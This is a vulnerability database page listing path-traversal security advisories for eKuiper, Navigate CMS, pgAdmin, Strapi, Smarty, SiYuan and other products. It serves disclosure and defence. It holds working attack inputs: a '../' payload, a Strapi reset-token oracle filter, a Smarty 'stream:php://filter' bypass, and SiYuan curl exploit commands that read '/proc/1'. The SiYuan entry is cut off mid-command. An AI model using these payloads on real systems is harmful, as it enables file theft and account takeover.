CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
15153 vulnerabilities reference this CWE, most recent first.
GHSA-RJ4J-2JPH-GG43
Vulnerability from github – Published: 2025-11-24 23:31 – Updated: 2025-11-27 08:40Summary
Multiple path traversal and unsafe path handling vulnerabilities were discovered in eKuiper prior to the fixes implemented in PR lf-edge/ekuiper#3911. The issues allow attacker-controlled input (rule names, schema versions, plugin names, uploaded file names, and ZIP entries) to influence file system paths used by the application. In vulnerable deployments, this can permit files to be created, overwritten, or extracted outside the intended directories, potentially enabling disclosure of sensitive files, tampering with configuration or plugin binaries, denial of service, or other host compromise scenarios.
Several components used unvalidated user input when constructing filesystem paths or when extracting archives. In each case, input was accepted and used directly in path operations (join, create, delete, extract) without sufficient sanitization or canonicalization, allowing the input to include path separators, .. segments, or absolute paths.
Impact
Arbitrary file overwrite / deletion: attackers could overwrite or delete files outside the intended directory, which can corrupt application data, remove logs, or disable services.
Resources
- https://github.com/lf-edge/ekuiper/commit/58362b089c76f08c400fe0dbb3667e6e871eaffd
- https://github.com/lf-edge/ekuiper/pull/3911
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/lf-edge/ekuiper/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-23"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-24T23:31:39Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\nMultiple path traversal and unsafe path handling vulnerabilities were discovered in eKuiper prior to the fixes implemented in PR [lf-edge/ekuiper#3911](https://github.com/lf-edge/ekuiper/pull/3911). The issues allow attacker-controlled input (rule names, schema versions, plugin names, uploaded file names, and ZIP entries) to influence file system paths used by the application. In vulnerable deployments, this can permit files to be created, overwritten, or extracted outside the intended directories, potentially enabling disclosure of sensitive files, tampering with configuration or plugin binaries, denial of service, or other host compromise scenarios.\n\nSeveral components used unvalidated user input when constructing filesystem paths or when extracting archives. In each case, input was accepted and used directly in path operations (join, create, delete, extract) without sufficient sanitization or canonicalization, allowing the input to include path separators, `..` segments, or absolute paths.\n\n### Impact\n**Arbitrary file overwrite / deletion:** attackers could overwrite or delete files outside the intended directory, which can corrupt application data, remove logs, or disable services.\n\n### Resources\n- https://github.com/lf-edge/ekuiper/commit/58362b089c76f08c400fe0dbb3667e6e871eaffd\n- https://github.com/lf-edge/ekuiper/pull/3911",
"id": "GHSA-rj4j-2jph-gg43",
"modified": "2025-11-27T08:40:42Z",
"published": "2025-11-24T23:31:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lf-edge/ekuiper/security/advisories/GHSA-rj4j-2jph-gg43"
},
{
"type": "WEB",
"url": "https://github.com/lf-edge/ekuiper/pull/3911"
},
{
"type": "WEB",
"url": "https://github.com/lf-edge/ekuiper/commit/58362b089c76f08c400fe0dbb3667e6e871eaffd"
},
{
"type": "PACKAGE",
"url": "https://github.com/lf-edge/ekuiper"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "LF Edge eKuiper is vulnerable to Arbitrary File Read/Write via unsanitized names and zip extraction"
}
GHSA-RJ4J-FGV3-VXHV
Vulnerability from github – Published: 2022-05-17 00:37 – Updated: 2022-05-17 00:37Directory traversal vulnerability in data/modules/blog/module_pages_site.php in Pluck 4.6.1 allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the post parameter.
{
"affected": [],
"aliases": [
"CVE-2008-6842"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-07-02T10:30:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in data/modules/blog/module_pages_site.php in Pluck 4.6.1 allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the post parameter.",
"id": "GHSA-rj4j-fgv3-vxhv",
"modified": "2022-05-17T00:37:51Z",
"published": "2022-05-17T00:37:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6842"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/49378"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/8271"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/34415"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/34207"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-RJ56-VP9H-3FRJ
Vulnerability from github – Published: 2026-05-29 18:31 – Updated: 2026-05-29 18:31Navigate CMS 2.8.5 contains a path traversal vulnerability that allows authenticated users to download arbitrary files by injecting directory traversal sequences in the id parameter. Attackers can send GET requests to navigate_download.php with path traversal payloads ../../../cfg/globals.php to access sensitive configuration files and system files outside the intended directory.
{
"affected": [],
"aliases": [
"CVE-2018-25393"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-29T16:16:18Z",
"severity": "HIGH"
},
"details": "Navigate CMS 2.8.5 contains a path traversal vulnerability that allows authenticated users to download arbitrary files by injecting directory traversal sequences in the id parameter. Attackers can send GET requests to navigate_download.php with path traversal payloads ../../../cfg/globals.php to access sensitive configuration files and system files outside the intended directory.",
"id": "GHSA-rj56-vp9h-3frj",
"modified": "2026-05-29T18:31:31Z",
"published": "2026-05-29T18:31:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-25393"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/45615"
},
{
"type": "WEB",
"url": "https://www.navigatecms.com"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/navigate-cms-path-traversal-via-navigate-download-php"
},
{
"type": "WEB",
"url": "http://master.dl.sourceforge.net/project/navigatecms/releases/navigate-2.8.5r1355.zip"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-RJ5M-GXPG-4HWQ
Vulnerability from github – Published: 2026-09-04 18:31 – Updated: 2026-09-04 18:31IBM Langflow OSS 1.0.0 through 1.11.2 could allow a remote authenticated attacker to obtain sensitive information due to path traversal.
{
"affected": [],
"aliases": [
"CVE-2026-19299"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-04T16:17:22Z",
"severity": "MODERATE"
},
"details": "IBM Langflow OSS 1.0.0 through 1.11.2 could allow a remote authenticated attacker to obtain sensitive information due to path traversal.",
"id": "GHSA-rj5m-gxpg-4hwq",
"modified": "2026-09-04T18:31:20Z",
"published": "2026-09-04T18:31:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-19299"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7285641"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RJ62-3VMP-2F6J
Vulnerability from github – Published: 2023-11-22 03:30 – Updated: 2023-11-22 03:30It was discovered that Kibana was not validating a user supplied path, which would load .pbf files. Because of this, a malicious user could arbitrarily traverse the Kibana host to load internal files ending in the .pbf extension.
{
"affected": [],
"aliases": [
"CVE-2021-22151"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-22T01:15:07Z",
"severity": "LOW"
},
"details": "It was discovered that Kibana was not validating a user supplied path, which would load .pbf files. Because of this, a malicious user could arbitrarily traverse the Kibana host to load internal files ending in the .pbf extension.",
"id": "GHSA-rj62-3vmp-2f6j",
"modified": "2023-11-22T03:30:19Z",
"published": "2023-11-22T03:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22151"
},
{
"type": "WEB",
"url": "https://discuss.elastic.co/t/elastic-stack-7-14-1-security-update/283077"
},
{
"type": "WEB",
"url": "https://www.elastic.co/community/security"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RJ98-CRF4-G69W
Vulnerability from github – Published: 2024-03-07 21:30 – Updated: 2025-02-13 19:08pgAdmin prior to version 8.4 is affected by a path-traversal vulnerability while deserializing users’ sessions in the session handling code. If the server is running on Windows, an unauthenticated attacker can load and deserialize remote pickle objects and gain code execution. If the server is running on POSIX/Linux, an authenticated attacker can upload pickle objects, deserialize them and gain code execution.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pgAdmin4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-2044"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-31",
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-07T22:39:27Z",
"nvd_published_at": "2024-03-07T21:15:08Z",
"severity": "CRITICAL"
},
"details": "pgAdmin prior to version 8.4 is affected by a path-traversal vulnerability while deserializing users\u2019 sessions in the session handling code. If the server is running on Windows, an unauthenticated attacker can load and deserialize remote pickle objects and gain code execution. If the server is running on POSIX/Linux, an authenticated attacker can upload pickle objects, deserialize them and gain code execution.",
"id": "GHSA-rj98-crf4-g69w",
"modified": "2025-02-13T19:08:34Z",
"published": "2024-03-07T21:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2044"
},
{
"type": "WEB",
"url": "https://github.com/pgadmin-org/pgadmin4/issues/7258"
},
{
"type": "WEB",
"url": "https://github.com/pgadmin-org/pgadmin4/commit/4e49d752fba72953acceeb7f4aa2e6e32d25853d"
},
{
"type": "PACKAGE",
"url": "https://github.com/pgadmin-org/pgadmin4"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/LUYN2JXKKHFSVTASH344TBRGWDH64XQV"
},
{
"type": "WEB",
"url": "https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "pgAdmin 4 vulnerable to Unsafe Deserialization and Remote Code Execution by an Authenticated user"
}
GHSA-RJC4-8FX3-G78F
Vulnerability from github – Published: 2022-05-24 16:55 – Updated: 2025-03-24 18:30The sina-extension-for-elementor plugin before 2.2.1 for WordPress has local file inclusion.
{
"affected": [],
"aliases": [
"CVE-2019-15839"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-30T17:15:00Z",
"severity": "HIGH"
},
"details": "The sina-extension-for-elementor plugin before 2.2.1 for WordPress has local file inclusion.",
"id": "GHSA-rjc4-8fx3-g78f",
"modified": "2025-03-24T18:30:32Z",
"published": "2022-05-24T16:55:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15839"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/sina-extension-for-elementor/#developers"
},
{
"type": "WEB",
"url": "https://wpvulndb.com/vulnerabilities/9368"
},
{
"type": "WEB",
"url": "https://www.pluginvulnerabilities.com/2019/06/18/our-proactive-monitoring-caught-a-local-file-inclusion-lfi-vulnerability-being-added-in-to-sina-extension-for-elementor"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RJG2-95X7-8QMX
Vulnerability from github – Published: 2026-05-14 13:17 – Updated: 2026-05-15 23:44Summary of CVE-2026-27886 Vulnerability Details
- CVE: CVE-2026-27886
- CVSS v3.1 Vector:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N(9.3 — Critical) - Affected Versions:
@strapi/strapi<=5.36.1 - How to Patch: Immediately update your Strapi to >=5.37.0
Description of CVE-2026-27886
Strapi versions prior to 5.37.0 did not sufficiently sanitize query parameters when filtering content via relational fields. An unauthenticated attacker could use the where query parameter on any publicly-accessible content-type with an updatedBy (or other admin-relation) field to perform a boolean-oracle attack against private fields on the joined admin_users table, including the resetPasswordToken field. Extracting an admin reset token via this oracle made full administrative account takeover possible without authentication.
When a filter such as where[updatedBy][resetPasswordToken][$startsWith]=a was applied to a public Content API endpoint, the underlying query generation performed a LEFT JOIN against the admin_users table and emitted a WHERE clause referencing the joined column. The query parameter sanitization layer did not block operator chains that traversed into relational target schemas the caller had no read permission on, allowing the response count to be used as a one-bit oracle on any admin-table field.
The patch introduces explicit query-parameter sanitization at the controller and service boundary via three new primitives: strictParam, addQueryParams, and addBodyParams. Operator chains that traverse into restricted relational targets are now rejected before reaching the database.
IoC's for CVE-2026-27886
Indicators that an instance running an unpatched version may have been exploited:
- Server access logs containing query strings traversing into admin-relation private fields. Regex:
\?(.*&)?where\[(updatedBy|createdBy|publishedBy)\]\[(email|password|resetPasswordToken|confirmationToken|firstname|lastname|preferedLanguage)\]\[\$(startsWith|contains|eq|gt|lt|ge|le|in|notIn|notNull|null)\]= - High volume of public Content API requests from a single IP iterating through a hex alphabet (
0-9,a-f) on the same content-type endpoint with progressively-longer filter values - Subsequent
POST /admin/reset-passwordcalls using a reset token that the legitimate admin did not request - Successful admin password change immediately following a burst of public Content API requests with
where[updatedBy]query parameters - Sustained burst of identical-shape requests with only the trailing character of the filter value varying
Credit
Discovered by: James Doll - WildWest CyberSecurity Contact: cve+2026-27886@wildwestcyber.com Website: https://wildwestcyber.com LinkedIn: https://www.linkedin.com/in/james-doll-273a61243
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@strapi/strapi"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "5.37.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27886"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-22",
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T13:17:58Z",
"nvd_published_at": "2026-05-14T19:16:31Z",
"severity": "CRITICAL"
},
"details": "### Summary of CVE-2026-27886 Vulnerability Details\n\n- CVE: CVE-2026-27886\n- CVSS v3.1 Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N` (9.3 \u2014 Critical)\n- Affected Versions: `@strapi/strapi` \u003c=5.36.1\n- How to Patch: Immediately update your Strapi to \u003e=5.37.0\n\n### Description of CVE-2026-27886\n\nStrapi versions prior to 5.37.0 did not sufficiently sanitize query parameters when filtering content via relational fields. An unauthenticated attacker could use the `where` query parameter on any publicly-accessible content-type with an `updatedBy` (or other admin-relation) field to perform a boolean-oracle attack against private fields on the joined `admin_users` table, including the `resetPasswordToken` field. Extracting an admin reset token via this oracle made full administrative account takeover possible without authentication.\n\nWhen a filter such as `where[updatedBy][resetPasswordToken][$startsWith]=a` was applied to a public Content API endpoint, the underlying query generation performed a `LEFT JOIN` against the `admin_users` table and emitted a `WHERE` clause referencing the joined column. The query parameter sanitization layer did not block operator chains that traversed into relational target schemas the caller had no read permission on, allowing the response count to be used as a one-bit oracle on any admin-table field.\n\nThe patch introduces explicit query-parameter sanitization at the controller and service boundary via three new primitives: `strictParam`, `addQueryParams`, and `addBodyParams`. Operator chains that traverse into restricted relational targets are now rejected before reaching the database.\n\n### IoC\u0027s for CVE-2026-27886\n\nIndicators that an instance running an unpatched version may have been exploited:\n\n- Server access logs containing query strings traversing into admin-relation private fields. Regex: `\\?(.*\u0026)?where\\[(updatedBy|createdBy|publishedBy)\\]\\[(email|password|resetPasswordToken|confirmationToken|firstname|lastname|preferedLanguage)\\]\\[\\$(startsWith|contains|eq|gt|lt|ge|le|in|notIn|notNull|null)\\]=`\n- High volume of public Content API requests from a single IP iterating through a hex alphabet (`0`-`9`, `a`-`f`) on the same content-type endpoint with progressively-longer filter values\n- Subsequent `POST /admin/reset-password` calls using a reset token that the legitimate admin did not request\n- Successful admin password change immediately following a burst of public Content API requests with `where[updatedBy]` query parameters\n- Sustained burst of identical-shape requests with only the trailing character of the filter value varying\n\n### Credit\nDiscovered by: James Doll - WildWest CyberSecurity\nContact: cve+2026-27886@wildwestcyber.com\nWebsite: https://wildwestcyber.com\nLinkedIn: https://www.linkedin.com/in/james-doll-273a61243",
"id": "GHSA-rjg2-95x7-8qmx",
"modified": "2026-05-15T23:44:50Z",
"published": "2026-05-14T13:17:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/strapi/strapi/security/advisories/GHSA-rjg2-95x7-8qmx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27886"
},
{
"type": "PACKAGE",
"url": "https://github.com/strapi/strapi"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Strapi may leak sensitive data via relational filtering due to lack of query sanitization"
}
GHSA-RJHH-76WF-8XMW
Vulnerability from github – Published: 2026-08-07 15:10 – Updated: 2026-08-07 15:10smarty/smarty version 5.8.0 can read local files through PHP stream wrappers even when Smarty Security is enabled and all streams are disabled with Security::$streams = null.
The bypass uses Smarty's built-in stream: resource type. A template such as:
{include file="stream:php://filter/read=convert.base64-encode/resource=/tmp/secret.tpl"}
is handled as Smarty resource type stream, so the security check that would normally reject the underlying php wrapper is not applied. StreamPlugin then opens the nested php://filter/... URI directly.
For comparison, the direct resource:
{include file="php://filter/read=convert.base64-encode/resource=/tmp/secret.tpl"}
is blocked with stream 'php' not allowed by security setting.
Affected package:
- Ecosystem: Packagist / Composer
- Package:
smarty/smarty - Confirmed affected version:
5.8.0 - Confirmed source reference from Composer lock:
78d259d3b971c59a0cd719c270cc5cbb740c36a7 - Current stable version on Packagist at review time:
v5.8.0 - Packagist usage at review time: 41,113,855 total downloads and 840,604 monthly downloads
Relevant code paths:
Smarty\Resource\BasePlugin::load(...)Smarty\Resource\StreamPlugin::getContent(...)Smarty\Security::isTrustedStream(...)
BasePlugin::load() maps the built-in resource name stream directly to StreamPlugin before the code path that checks PHP stream wrappers with stream_get_wrappers() and Security::isTrustedStream($type). StreamPlugin::getContent() later calls fopen($filepath, 'r+') on the nested URI when the resource name contains ://.
Preconditions:
An application must render templates that are not fully trusted while relying on Smarty Security to restrict local files and PHP stream wrappers. The PoC sets:
$smarty->enableSecurity();
$smarty->security_policy->streams = null;
Local reproduction:
The PoC creates a disposable template directory and a separate outside directory. It enables Smarty Security, disables all streams, and then compares three includes:
../outside/secret.tplto confirm the ordinary trusted-directory boundary is enforced.php://filter/...to confirm direct PHP streams are blocked bySecurity::$streams = null.stream:php://filter/...to show the built-instream:resource bypasses the same restriction and reads the outside file.
Run:
php -d display_errors=1 poc.php
Observed sanitized output:
package=smarty/smarty
installed_version=v5.8.0
template_dir=<tmp>/templates
outside_template=<tmp>/outside/secret.tpl
plain_dotdot_include=BLOCKED:Smarty\Exception:Smarty Security: not trusted file path '<tmp>/outside/secret.tpl'
direct_php_filter_include=BLOCKED:Smarty\Exception:stream 'php' not allowed by security setting
stream_php_filter_include=OK:U01BUlRZX1NUUkVBTV9XUkFQUEVSX1NFQ1VSSVRZX0VTQ0FQRQ==
expected_base64=U01BUlRZX1NUUkVBTV9XUkFQUEVSX1NFQ1VSSVRZX0VTQ0FQRQ==
The plain_dotdot_include line shows the directory boundary is enforced for ordinary traversal. The direct_php_filter_include line shows the same policy rejects php://filter when used directly. The stream_php_filter_include line shows that wrapping the same URI in Smarty's stream: resource bypasses that restriction and reads the outside file.
Impact:
A template author can bypass Smarty Security stream restrictions and read local files that are readable by the PHP process. With php://filter, file contents can be base64 encoded and rendered back through the template. This bypasses both the intended Security::$streams = null restriction and the normal trusted-template-directory check that blocks ../ traversal.
Duplicate checks:
- OSV query for
Packagist/smarty/smartyversion5.8.0returned no vulnerabilities. - GitHub advisory query for
ecosystem=composerandaffects=smarty/smartyreturned historical Smarty advisories, including sandbox escapes, PHP code injection, XSS, and older path traversal issues. The listed path traversal advisories affect older versions and do not describe this currentstream:php://filterresource-wrapper bypass in 5.8.0. - GitHub issue search in
smarty-php/smartyforstream:php://filterreturned zero results. - Public searches for
Smarty StreamPlugin php://filterandsmarty/smarty isTrustedStream stream:did not identify a clear public duplicate during triage.
Suggested remediation:
When resolving the built-in stream: resource, parse and validate the nested URI scheme before opening it. For example, stream:php://filter/... should call Security::isTrustedStream('php'), and Security::$streams = null should block the resource before StreamPlugin::getContent() reaches fopen().
It would also be safer for StreamPlugin to reject nested stream wrappers by default unless the underlying wrapper is explicitly allowed by the active security policy.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "smarty/smarty"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.8.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-62996"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-07T15:10:51Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "`smarty/smarty` version `5.8.0` can read local files through PHP stream wrappers even when Smarty Security is enabled and all streams are disabled with `Security::$streams = null`.\n\nThe bypass uses Smarty\u0027s built-in `stream:` resource type. A template such as:\n\n```smarty\n{include file=\"stream:php://filter/read=convert.base64-encode/resource=/tmp/secret.tpl\"}\n```\n\nis handled as Smarty resource type `stream`, so the security check that would normally reject the underlying `php` wrapper is not applied. `StreamPlugin` then opens the nested `php://filter/...` URI directly.\n\nFor comparison, the direct resource:\n\n```smarty\n{include file=\"php://filter/read=convert.base64-encode/resource=/tmp/secret.tpl\"}\n```\n\nis blocked with `stream \u0027php\u0027 not allowed by security setting`.\n\nAffected package:\n\n- Ecosystem: Packagist / Composer\n- Package: `smarty/smarty`\n- Confirmed affected version: `5.8.0`\n- Confirmed source reference from Composer lock: `78d259d3b971c59a0cd719c270cc5cbb740c36a7`\n- Current stable version on Packagist at review time: `v5.8.0`\n- Packagist usage at review time: 41,113,855 total downloads and 840,604 monthly downloads\n\nRelevant code paths:\n\n- `Smarty\\Resource\\BasePlugin::load(...)`\n- `Smarty\\Resource\\StreamPlugin::getContent(...)`\n- `Smarty\\Security::isTrustedStream(...)`\n\n`BasePlugin::load()` maps the built-in resource name `stream` directly to `StreamPlugin` before the code path that checks PHP stream wrappers with `stream_get_wrappers()` and `Security::isTrustedStream($type)`. `StreamPlugin::getContent()` later calls `fopen($filepath, \u0027r+\u0027)` on the nested URI when the resource name contains `://`.\n\nPreconditions:\n\nAn application must render templates that are not fully trusted while relying on Smarty Security to restrict local files and PHP stream wrappers. The PoC sets:\n\n```php\n$smarty-\u003eenableSecurity();\n$smarty-\u003esecurity_policy-\u003estreams = null;\n```\n\nLocal reproduction:\n\nThe PoC creates a disposable template directory and a separate outside directory. It enables Smarty Security, disables all streams, and then compares three includes:\n\n1. `../outside/secret.tpl` to confirm the ordinary trusted-directory boundary is enforced.\n2. `php://filter/...` to confirm direct PHP streams are blocked by `Security::$streams = null`.\n3. `stream:php://filter/...` to show the built-in `stream:` resource bypasses the same restriction and reads the outside file.\n\nRun:\n\n```shell\nphp -d display_errors=1 poc.php\n```\n\nObserved sanitized output:\n\n```text\npackage=smarty/smarty\ninstalled_version=v5.8.0\ntemplate_dir=\u003ctmp\u003e/templates\noutside_template=\u003ctmp\u003e/outside/secret.tpl\nplain_dotdot_include=BLOCKED:Smarty\\Exception:Smarty Security: not trusted file path \u0027\u003ctmp\u003e/outside/secret.tpl\u0027\ndirect_php_filter_include=BLOCKED:Smarty\\Exception:stream \u0027php\u0027 not allowed by security setting\nstream_php_filter_include=OK:U01BUlRZX1NUUkVBTV9XUkFQUEVSX1NFQ1VSSVRZX0VTQ0FQRQ==\nexpected_base64=U01BUlRZX1NUUkVBTV9XUkFQUEVSX1NFQ1VSSVRZX0VTQ0FQRQ==\n```\n\nThe `plain_dotdot_include` line shows the directory boundary is enforced for ordinary traversal. The `direct_php_filter_include` line shows the same policy rejects `php://filter` when used directly. The `stream_php_filter_include` line shows that wrapping the same URI in Smarty\u0027s `stream:` resource bypasses that restriction and reads the outside file.\n\nImpact:\n\nA template author can bypass Smarty Security stream restrictions and read local files that are readable by the PHP process. With `php://filter`, file contents can be base64 encoded and rendered back through the template. This bypasses both the intended `Security::$streams = null` restriction and the normal trusted-template-directory check that blocks `../` traversal.\n\nDuplicate checks:\n\n- OSV query for `Packagist/smarty/smarty` version `5.8.0` returned no vulnerabilities.\n- GitHub advisory query for `ecosystem=composer` and `affects=smarty/smarty` returned historical Smarty advisories, including sandbox escapes, PHP code injection, XSS, and older path traversal issues. The listed path traversal advisories affect older versions and do not describe this current `stream:php://filter` resource-wrapper bypass in 5.8.0.\n- GitHub issue search in `smarty-php/smarty` for `stream:php://filter` returned zero results.\n- Public searches for `Smarty StreamPlugin php://filter` and `smarty/smarty isTrustedStream stream:` did not identify a clear public duplicate during triage.\n\nSuggested remediation:\n\nWhen resolving the built-in `stream:` resource, parse and validate the nested URI scheme before opening it. For example, `stream:php://filter/...` should call `Security::isTrustedStream(\u0027php\u0027)`, and `Security::$streams = null` should block the resource before `StreamPlugin::getContent()` reaches `fopen()`.\n\nIt would also be safer for `StreamPlugin` to reject nested stream wrappers by default unless the underlying wrapper is explicitly allowed by the active security policy.",
"id": "GHSA-rjhh-76wf-8xmw",
"modified": "2026-08-07T15:10:51Z",
"published": "2026-08-07T15:10:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/smarty-php/smarty/security/advisories/GHSA-rjhh-76wf-8xmw"
},
{
"type": "WEB",
"url": "https://github.com/smarty-php/smarty/pull/1195"
},
{
"type": "WEB",
"url": "https://github.com/smarty-php/smarty/commit/3c9f77a2e06ce319ae0092496af32cc8f3adc52e"
},
{
"type": "PACKAGE",
"url": "https://github.com/smarty-php/smarty"
},
{
"type": "WEB",
"url": "https://github.com/smarty-php/smarty/releases/tag/v5.8.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Smarty Security stream restriction bypass through stream: resource"
}
GHSA-RJHH-M223-9QQV
Vulnerability from github – Published: 2026-03-16 18:47 – Updated: 2026-03-30 13:58Summary
POST /api/import/importStdMd passes the localPath parameter directly to model.ImportFromLocalPath with zero path validation. The function recursively reads every file under the given path and permanently stores their content as SiYuan note documents in the workspace database, making them searchable and accessible to all workspace users.
Details
File: kernel/api/import.go - function importStdMd
func importStdMd(c *gin.Context) {
notebook := arg["notebook"].(string)
localPath := arg["localPath"].(string)
toPath := arg["toPath"].(string)
err := model.ImportFromLocalPath(notebook, localPath, toPath)
}
model.ImportFromLocalPath (kernel/model/import.go:784):
func ImportFromLocalPath(boxID, localPath string, toPath string) (err error) {
filelock.Walk(localPath, func(currentPath string, d fs.DirEntry, ...) error {
})
}
Unlike globalCopyFiles, there is no blocklist at all. Any readable path is accepted. The imported content is permanently stored in the workspace SQLite database and survives restarts.
Chained attack with Bug #1 (renderSprig): Admin imports sensitive files --> content stored in blocks table --> non-admin user queries via querySQL through renderSprig.
PoC
docker run -d --name siyuan -p 6806:6806 \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123
Exploit:
TOKEN="YOUR_ADMIN_TOKEN"
NOTEBOOK=$(curl -s -X POST http://localhost:6806/api/notebook/createNotebook \
-H "Authorization: Token $TOKEN" -H "Content-Type: application/json" \
-d '{"name":"Exfil"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['notebook']['id'])")
curl -s -X POST http://localhost:6806/api/import/importStdMd \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"notebook\":\"$NOTEBOOK\",\"localPath\":\"/proc/1\",\"toPath\":\"/\"}"
curl -s -X POST http://localhost:6806/api/import/importStdMd \
